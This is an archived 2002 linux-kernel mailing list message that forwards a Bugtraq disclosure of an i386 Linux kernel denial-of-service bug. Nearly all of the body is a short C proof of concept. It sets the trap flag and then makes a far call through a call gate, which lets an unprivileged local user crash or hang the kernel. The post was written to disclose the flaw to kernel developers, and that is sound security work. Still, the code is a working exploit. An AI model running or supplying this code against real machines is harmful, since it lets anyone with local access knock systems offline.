Return-Path: Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id ; Tue, 12 Nov 2002 18:22:21 -0500 Received: (majordomo@vger.kernel.org) by vger.kernel.org id ; Tue, 12 Nov 2002 18:22:21 -0500 Received: from daytona.gci.com ([205.140.80.57]:47119 "EHLO daytona.gci.com") by vger.kernel.org with ESMTP id ; Tue, 12 Nov 2002 18:22:17 -0500 Message-ID: From: Leif Sawyer To: linux-kernel@vger.kernel.org Subject: FW: i386 Linux kernel DoS Date: Tue, 12 Nov 2002 14:28:55 -0900 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2656.59) Content-Type: text/plain; charset="iso-8859-1" Sender: linux-kernel-owner@vger.kernel.org X-Mailing-List: linux-kernel@vger.kernel.org Content-Length: 973 Lines: 31 This was posted on bugtraq today... -----Original Message----- From: Christophe Devine Sent: Monday, November 11, 2002 11:26 AM To: bugtraq@securityfocus.com Subject: i386 Linux kernel DoS /* USE AT YOUR OWN RISK ! */ int main( void ) { char dos[] = "\x9C" /* pushfd */ "\x58" /* pop eax */ "\x0D\x00\x01\x00\x00" /* or eax,100h */ "\x50" /* push eax */ "\x9D" /* popfd */ "\x9A\x00\x00\x00\x00\x07\x00"; /* call 07h:00h */ void (* f)( void ); f = (void *) dos; (* f)(); return 1; } - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/